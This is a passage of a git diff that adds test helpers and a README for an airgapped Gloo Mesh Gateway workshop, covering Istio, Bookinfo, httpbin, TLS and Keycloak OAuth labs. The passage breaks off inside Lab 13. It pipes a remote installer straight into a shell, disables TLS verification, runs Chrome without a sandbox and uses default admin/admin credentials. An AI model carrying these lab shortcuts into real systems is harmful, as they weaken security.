cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + }, + genericCommand: async ({ command, responseContains="" }) => { + let cli = chaiExec(command); + if (cli.stderr && cli.stderr != "") { + console.log(" ----> " + command + " not succesful..."); + await utils.sleep(1000); + } + cli.stderr.should.be.empty; + cli.should.exit.with.code(0); + if(responseContains!=""){ + cli.stdout.should.contain(responseContains); + } + }, + getOutputForCommand: ({ command }) => { + let cli = chaiExec(command); + return cli.stdout; + }, +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-http.js b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-http.js new file mode 100644 index 0000000000..d0b8a42277 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/chai-http.js @@ -0,0 +1,63 @@ +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const utils = require('./utils'); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +global = { + checkURL: ({ host, path = "", headers = [], retCode }) => { + let request = chai.request(host).head(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + }, + checkBody: ({ host, path = "", headers = [], body = '', match = true }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + if (match) { + expect(res.text).to.contain(body); + } else { + expect(res.text).not.to.contain(body); + } + }); + }, + checkHeaders: ({ host, path = "", headers = [], expectedHeaders = [] }) => { + let request = chai.request(host).get(path).redirects(0); + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expectedHeaders.forEach(header => expect(res.header[header.key]).to.equal(header.value)); + }); + }, + checkWithMethod: ({ host, path, headers = [], method = "get", retCode }) => { + let request + if (method === "get") { + request = chai.request(host).get(path).redirects(0); + } else if (method === "post") { + request = chai.request(host).post(path).redirects(0); + } else if (method === "put") { + request = chai.request(host).put(path).redirects(0); + } else { + throw 'The requested method is not implemented.' + } + headers.forEach(header => request.set(header.key, header.value)); + return request + .send() + .then(async function (res) { + expect(res).to.have.status(retCode); + }); + } +}; + +module.exports = global; + +afterEach(function(done) { utils.waitOnFailedTest(done, this.currentTest.currentRetry())}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak-token.js b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak-token.js new file mode 100644 index 0000000000..3ac1a691db --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak-token.js @@ -0,0 +1,4 @@ +const keycloak = require('./keycloak'); +const { argv } = require('node:process'); + +keycloak.getKeyCloakCookie(argv[2], argv[3]); diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak.js b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak.js new file mode 100644 index 0000000000..aae79f0fdc --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/keycloak.js @@ -0,0 +1,41 @@ +const puppeteer = require('puppeteer'); +//const utils = require('./utils'); + +global = { + getKeyCloakCookie: async (url, user) => { + const browser = await puppeteer.launch({ + headless: "new", + ignoreHTTPSErrors: true, + args: ['--no-sandbox', '--disable-setuid-sandbox'], // needed for instruqt + }); + const page = await browser.newPage(); + await page.goto(url); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Enter credentials + //await page.waitForSelector('#username'); + //await page.waitForSelector('#password'); + await page.type('#username', user); + await page.type('#password', 'password'); + await page.click('#kc-login'); + await page.waitForNetworkIdle({ options: { timeout: 1000 } }); + //await utils.sleep(1000); + + // Retrieve session cookie + const cookies = await page.cookies(); + const sessionCookie = cookies.find(cookie => cookie.name === 'keycloak-session'); + let ret; + if (sessionCookie) { + ret = `${sessionCookie.name}=${sessionCookie.value}`; // Construct the cookie string + } else { + console.error(` No session cookie found for ${user}`); + ret = "keycloak-session=dummy"; + } + await browser.close(); + console.log(ret); + return ret; + } +}; + +module.exports = global; diff --git a/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/utils.js b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/utils.js new file mode 100644 index 0000000000..9747efaa2c --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone-portal/tests/utils.js @@ -0,0 +1,13 @@ +global = { + sleep: ms => new Promise(resolve => setTimeout(resolve, ms)), + waitOnFailedTest: (done, currentRetry) => { + if(currentRetry > 0){ + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } + } +}; + +module.exports = global; \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/README.md b/gloo-mesh/gateway/2-4/airgap/standalone/README.md new file mode 100644 index 0000000000..6fcc60e7cc --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/README.md @@ -0,0 +1,2352 @@ + + + + + +![Gloo Mesh Enterprise](images/gloo-mesh-enterprise.png) +#
Gloo Mesh Gateway (2.4.7)
+ + + +## Table of Contents +* [Introduction](#introduction) +* [Lab 1 - Deploy a KinD cluster](#lab-1---deploy-a-kind-cluster-) +* [Lab 2 - Prepare airgap environment](#lab-2---prepare-airgap-environment-) +* [Lab 3 - Deploy and register Gloo Mesh](#lab-3---deploy-and-register-gloo-mesh-) +* [Lab 4 - Deploy the Bookinfo demo app](#lab-4---deploy-the-bookinfo-demo-app-) +* [Lab 5 - Deploy the httpbin demo app](#lab-5---deploy-the-httpbin-demo-app-) +* [Lab 6 - Deploy Gloo Mesh Addons](#lab-6---deploy-gloo-mesh-addons-) +* [Lab 7 - Create the gateways workspace](#lab-7---create-the-gateways-workspace-) +* [Lab 8 - Create the bookinfo workspace](#lab-8---create-the-bookinfo-workspace-) +* [Lab 9 - Expose the productpage through a gateway](#lab-9---expose-the-productpage-through-a-gateway-) +* [Lab 10 - Create the httpbin workspace](#lab-10---create-the-httpbin-workspace-) +* [Lab 11 - Expose an external service](#lab-11---expose-an-external-service-) +* [Lab 12 - Deploy Keycloak](#lab-12---deploy-keycloak-) +* [Lab 13 - Securing the access with OAuth](#lab-13---securing-the-access-with-oauth-) +* [Lab 14 - Use the transformation filter to manipulate headers](#lab-14---use-the-transformation-filter-to-manipulate-headers-) +* [Lab 15 - Use the DLP policy to mask sensitive data](#lab-15---use-the-dlp-policy-to-mask-sensitive-data-) +* [Lab 16 - Apply rate limiting to the Gateway](#lab-16---apply-rate-limiting-to-the-gateway-) +* [Lab 17 - Use the Web Application Firewall filter](#lab-17---use-the-web-application-firewall-filter-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.51.4 +gcr.io/gloo-mesh/gloo-mesh-agent:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-ui:2.4.7 +gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 +gcr.io/gloo-mesh/rate-limiter:0.10.3 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +timeout 2m bash -c "until [[ \$(kubectl --context ${MGMT} -n istio-system get deploy istiod-1-19 -o json | jq '.status.availableReplicas') -gt 0 ]]; do + sleep 1 +done" +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 12 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with 